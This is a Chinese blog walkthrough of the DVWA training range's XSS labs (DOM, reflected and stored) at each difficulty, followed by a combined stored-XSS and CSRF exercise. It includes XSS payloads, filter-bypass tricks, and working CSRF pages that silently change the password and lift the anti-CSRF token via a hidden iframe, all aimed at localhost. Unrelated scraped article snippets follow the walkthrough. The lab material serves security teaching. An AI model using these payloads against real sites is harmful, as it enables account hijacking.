DVWA靶场XSS(DOM/Reflected/Stored)/XSS+CSRF

article/2025/8/26 9:10:00

目录

一、XSS (DOM)

1.Low

2.Medium

 3.High

 4.Impossible

 二、XSS (Reflected)

1.Low

 2.Medium

3.High

4.Impossible 

三、XSS (Stored)

1.Low 

 2.Medium

 3.High

4.Impossible 

四、XSS(Stored)+CSRF组合实验

1.直接访问修改密码URL

2.使用链接访问构造网页修改密码


一、XSS (DOM)

1.Low

  • 查看源代码,发现后端未对参数的上传做任何处理与限制,因此可以直接尝试进行xss注入
  • 构造xss代码,看到出现弹窗,代码执行成功,说明存在xss漏洞
  •  查看页面代码,发现xss代码以及插入并执行了

2.Medium

  • 再次尝试直接进行构造xss代码注入,执行后发现页面自动跳转到English
  • 查看源代码,发现对<script进行了过滤,注入时会默认跳转到English页面 
  • 既然不能使用script,那么我们换一种标签,使用img进行尝试,发现还是没有出现弹窗
  • 查看页面代码,发现我们构造的语句已经被插入到了value当中,不能成功执行的原因是select标签中只允许内嵌option标签,而option标签是不能嵌套我们构造的img标签的,因此我们需要先将前面的select标签和option标签都闭合后才能使用img标签
  • 当我们把闭合后的img构造语句执行后,发现出现弹窗,说明存在xss注入漏洞

 3.High

  • 查看源代码,发现使了了白名单过滤
  • 那么我们只能找方法绕过服务器端的处理,直接在本地运行我们构造的语句,可以通过“#”来注释掉后面的内容,因为URL栏中的“#”之后的内容不会被发送到服务器当中去,不会经过JS的过滤,只在客户端显示
  • 若在执行构造语句后没有出现弹窗,尝试刷新页面来触发JS中“#”的作用

 4.Impossible

  • 查看源代码,发现什么也没有,在客户端上处理,不会在进行URL解码

 二、XSS (Reflected)

1.Low

  • 查看源代码,发现并未对参数做过滤等操作
  • 直接输入<script>alert(1)</script>进行注入,发现JS代码被成功执行,出现弹窗

 2.Medium

  • 查看源代码,发现对<script>进行了处理,当匹配到该字符时转换为空,因此直接输入JS代码后的结果为输出alert(1)
  •  我们可以通过大写字母,双写,输入其他可执行弹窗的标签等方法来实现攻击

3.High

  • 查看源代码,发现直接将所有的<script>无论大小写都进行了过滤,但并未对其他标签进行限制,所以我们继续使用img等标签来进行注入

4.Impossible 

  •  查看源代码,发现增加了对token的验证来防止CSRF攻击,然后使用htmlspecialchars函数来将预定义的字符转换为html实体,防止输入的标签被执行

三、XSS (Stored)

1.Low 

  • 查看源代码,发现使用mysqli_real_escape_string函数来对string中的特殊符号进行转义处理,但并未对我们输入的Name和Message进行xss的过滤,
  • 因此我们只需要直接输入JS代码进行攻击即可得到弹窗,攻击成功

 2.Medium

  • 查看源代码,发现将Message所有可能xss攻击的标签都进行了转义或过滤,但对Name仅仅限制了<script>的标签,因此我们依旧可以在Name中使用大写、双写、使用其他标签等方法来进行注入
  •  输入时发现Name对输入长度进行了限制,我们找到该文本框的内容修改最大长度即可
  • 然后就可以在Name中输入JS语句进行攻击,出现弹窗,攻击成功

 3.High

  • 查看代码,发现在Medium的基础上对Name的输入进行了<script>的转义限制,因此我们只需要换一个同样能进行弹窗的标签即可
  • 同样方法修改Name文本框的最大长度,输入img标签来进行xss攻击,成功出现弹窗,攻击成功

4.Impossible 

  •  查看源代码,发现使用内置的PHP函数来转义任何改变输入行为的值,并且使用token验证来防止CSRF攻击
<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name    = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = stripslashes( $message );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$message = htmlspecialchars( $message );// Sanitize name input$name = stripslashes( $name );$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$name = htmlspecialchars( $name );// Update database$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );$data->bindParam( ':message', $message, PDO::PARAM_STR );$data->bindParam( ':name', $name, PDO::PARAM_STR );$data->execute();
}// Generate Anti-CSRF token
generateSessionToken();?> 

四、XSS(Stored)+CSRF组合实验

1.直接访问修改密码URL

  • 将难度调至Low级别,我们把在CSRF中修改密码后的URL复制下来
  • 到XSS(Stored)中将复制到的网址粘贴到Message中,使用img标签构造语句,若文本框限制字符长度,就在页面代码中修改
  •  可以将密码进行修改,完成后提交
  • 到Brute Force页面中验证密码,发现修改密码成功,注入成功

2.使用链接访问构造网页修改密码

  • 我们在根目录中新建一个php文件
  • 代码如下,我们需要将src中的内容修改为自己在csrf中修改密码后的网址,将想要修改的密码写入 
<img src="http://localhost/DVWA/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display:none;"/>
<html>
<h1>密码被修改啦<h1>
</html>
  • 接下来就可以访问我们构造的这个文件了,比如说我们现在的密码为password,访问localhost/CSRF.php,就会执行我们写入的修改密码操作后跳转到我们写的报错界面
  • 当我们再次回到dvwa登录时,就会发现原来的password已经是错误密码,尝试用我们写的123456来登录,发现登录成功,成功修改密码 
  •  此外还有一种使用我们在xss中构造一个网址,进入后修改密码,首先在根目录下继续新建一个php文件
  • 内容如下,同样还是将密码值修改为自己想要修改的密码
<!DOCTYPE html>
<html>
<head lang="en"><meta charset="UTF-8"><title>修改密码</title><script type="text/javascript">//获取用户的token,并设置为表单中的token,然后提交修改密码的表单function attack(){document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;document.getElementById("transfer").submit();}</script>
</head>
<h1>修改密码成功</h1>
<body onload="attack()"><iframe src="http://localhost/dvwa/vulnerabilities/csrf/" id="hack"  style="display:none;">  <!--在该网页内打开另一个网页--></iframe><form method="GET" id="transfer"  action="http://localhost/dvwa/vulnerabilities/csrf/"><input type="hidden" name="password_new" value="123456"><input type="hidden" name="password_conf" value="123456"><input type="hidden" name="user_token" value=""><input type="hidden" name="Change" value="Change"></form>
</body>
</html>
  • 接下来就是在xss中构造链接,F12修改name文本框的长度
  •  在name文本框内输入自己构造的链接,也就是CSRF1.php文件
    <a href="http://localhost/CSRF1.php">1</a>
  • 此时点击name后的链接,就会直接跳转到localhost/csrf1.php页面修改密码后跳转回到csrf修改密码成功后的页面
  • 发现密码成功修改为123456,修改成功

 本文章xss+csrf借鉴:【CSRF02】跨站请求伪造——DVWA靶场实操(含CSRF+XSS协同攻击实验)_Fighting_hawk的博客-CSDN博客_跨站请求伪造攻击实验1. 掌握网页相关语言中各种标签的运用;2. 灵活使用XSS注入代码;3. 掌握CSRF攻击的方法;4. 掌握XSS+CSRF协同攻击的方法。https://blog.csdn.net/Fighting_hawk/article/details/123491148?ops_request_misc=&request_id=&biz_id=102&utm_term=dvwa%20xss+csrf&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-1-123491148.142^v17^control,157^v15^new_3&spm=1018.2226.3001.4187


http://chatgpt.dhexx.cn/article/45Vf37TZ.shtml

相关文章

DVWA靶机-存储型XSS漏洞(Stored)

DVWA靶机-存储型XSS漏洞(Stored) 前章&#xff1a; DVWA靶机-暴力破解(Brute Force) && DVWA靶机的四个安全等级 DVWA靶机-命令注入漏洞(Command Injection) DVWA靶机-文件包含漏洞(File Inclusion) DVWA靶机-文件上传漏洞(File uploads) DVWA靶机-跨站请求伪造(…

DVWA-XSS(Stored)注入-Low-Medium-Hight

Low 1、进来这里可以看到&#xff0c;好像是有两个入口&#xff0c;先随便填个数据试试水&#xff0c;勒特 payload: <script>alert(1)</script> 2、直接提交&#xff0c;简单拿下。 Medium 1、继续尝试刚才的入口&#xff0c;勒特。 payload: <script>ale…

Solr---string类型的docValues属性、stored属性

描述&#xff1a; 使用solr6.0的默认配置后&#xff0c;多数的字段使用string类型&#xff0c;通过stored设置为false来减少存储大小&#xff0c;然而却没有效果&#xff0c;还是会存储并在查询时返回。 问题&#xff1a; 在managed-schema文件内发现&#xff0c;fieldType为s…

@available 修饰类成员变量报错Stored properties cannot be marked potentially unavailable

在不方便升级插件的情况下&#xff0c;可以手动修改这个问题

mysql routines是什么_MySQL入门:Stored Routines 的变数与流程 - Break易站

1 宣告与使用变数 在Stored routines中,除了可以宣告需要的参数外,如果需要处理比较复杂的资料,你也可以宣告「区域变数、local variables」。下列是宣告区域变数的语法与位置: 下列是几种宣告区域变数的范例: 宣告需要的区域变数后,你就可以在stored routines中使用它们…

Dvwa_XSS (Stored)

&#xff08;实验基础&#xff1a;有php语言和html语言基础&#xff09; 1、low 在Name里构造恶意脚本&#xff0c;写完10个字符后发现在输输不进去&#xff0c;此时按ctrlu&#xff08;火狐&#xff0c;Microsoft Edge&#xff0c;谷歌这三款浏览器都可用此快捷方式打开网页源…

DVWA-XSS (Stored)

目录 简介安全级别&#xff1a;Low安全级别&#xff1a;Medium安全级别&#xff1a;High安全级别&#xff1a;Impossible 简介 存储型XSS 长期存储于服务器端&#xff1b; 每次用户访问都会执行脚本代码&#xff1b; 安全级别&#xff1a;Low 查看源码 <?phpif( isse…

Oracle中的存储过程【Stored Procedure】和存储函数【Stored Function】

一、存储过程 1.1、存储过程的介绍 存储过程&#xff08;Stored Procedure&#xff09;是在大型数据库系统中&#xff0c;一组为了完成特定功能的SQL 语句集&#xff0c;经编译后直接存储在数据库中&#xff0c;用户调用指定存储过程的名字和传递对应的参数&#xff08;如果该…

DVWA指点迷津-XSS(Stored)

XSS(Stored) 特点 又名“存储型XSS”。攻击者的“恶意语句”会存储在服务器端数据库&#xff0c;具有很强的稳定性。每次前端调用数据库内容&#xff0c;则会触发语句。一般出现在留言板、上传资料等与数据库有交互的模块。相比反射型XSS&#xff0c;该类型的XSS带来的危害更…

XSS(Stored)

XSS(Stored) 前言 看了一个web的安全视频&#xff0c;里面有说说有的web漏洞都是输入输出的控制问题&#xff0c;虽然感觉说的太笼统了。但确实没什么毛病。sql注入来说&#xff0c;对用户的输入做好处理&#xff0c;对服务端的输出做好处理&#xff0c;对于我这样的菜鸡来说…

linux重启java项目

1.java项目占用的8888端口&#xff0c; 首先查看该进程的进程号&#xff1a; netstat -tunlp|grep 88882.占用8888端口的进程id为4179&#xff0c;杀死该进程&#xff1a; kill -9 41793.启动java项目&#xff1a; nohup java -jar demo-0.0.1-SNAPSHOT.jar &nohup 意思…

linux 如何重启oracle,Linux重启oracle数据库的三大技巧

Linux系统下网站出现问题的时候,可通过重启oracle数据库进行处理,而重启oracle数据库的方法有好多种,可登陆数据库进行操作,也可在终端操作,具体的随小编一起来了解下吧。 网站的服务中断了,重启下发现是oralce服务不存在,又不想重启机器,就重新启动下oralce,再重启服…

Linux重启nginx服务

1.方法一 到nginx下面的sbin目录下执行 ./nginx -s reload2.方法二 如果第一种不生效&#xff0c;&#xff08;项目背景&#xff09;实际项目不生效&#xff0c;也即部署到nginx下面的vue项目&#xff0c;已经更换为最新版本&#xff0c;但是仍然没有生效&#xff0c;可以使用…

linux重启程序

今天在Linux上部署程序出错&#xff0c;经检查最后是linux上的程序原来的该程序未停止&#xff0c;又重新启动该程序导致&#xff08;相当与Linux上有两个该程序同时运行导致的错误&#xff09; 解决方法&#xff1a; 1. 查看linux 上的线程 ps -ef | grep java2.运行结果 其…

pjax理解

注&#xff1a; http://www.itkee.cn/topic-info-75.html https://fly.layui.com/jie/10956/ http://bsify.admui.com/jquery-pjax/?idpjax-pushstate-ajax

thymeleaf 整合 pjax 无刷新跳转

原文地址&#xff1a; http://www.linzichen.cn/article/1577881001718185984 在一些需要做 seo 优化的应用里&#xff0c;比如门户网站、博客论坛网站、商城商品页网站等&#xff0c;我们的数据常常采用 服务端渲染的方式来展现&#xff0c;目的是为了让爬虫更好的抓取到&…

php pjax案例,jQuery pjax简单示例汇总

pjax 是一个jQuery插件&#xff0c;它使用 ajax 和 pushState 来实现快速的浏览体验&#xff0c;包括真正的固定链接&#xff0c;页面标题和工作返回按钮。本文主要和大家分享jQuery pjax简单示例汇总&#xff0c;希望能帮助到大家。 ajax缺点是破坏了浏览器的前进后退&#xf…

pjax php,php整合pjax(pushstate+ajax)实现无刷新页面

PJAX效果 通过url可以跟踪ajax的动态加载内容。这种技术尤其在two step view布局的视图中有很大的好处。无刷新加载页面&#xff0c;意味着响应速度和用户体验得到了极大的提升&#xff0c;在静态脚本和通用模块比较多的情况下&#xff0c;最大程度上节省了重用部分的开销。应用…

html5 pjax,pjax——页面无刷新跳转

pjax虽然不是什么新的技术&#xff0c;然而本人是最近才发现这个比较牛叉的技术。下面是对pjax的介绍&#xff1a; pjax是在HTML5里面引用的新技术&#xff0c;是对ajax pushState的封装&#xff0c;是实现无刷新ajax加载并解决浏览器前进和后退问题的一个开源实现。同时支持了…

java pjax_(转)PJAX的实现与应用

一、前言 web发展经历了一个漫长的周期&#xff0c;最开始很多人认为Javascript这们语言是前端开发的累赘&#xff0c;是个鸡肋&#xff0c;那个时候人们还享受着从一个a链接蹦到另一个页面的web神奇魔术。后来随着JavaScript的不断更新换代&#xff0c;他的功能不仅仅是为网页…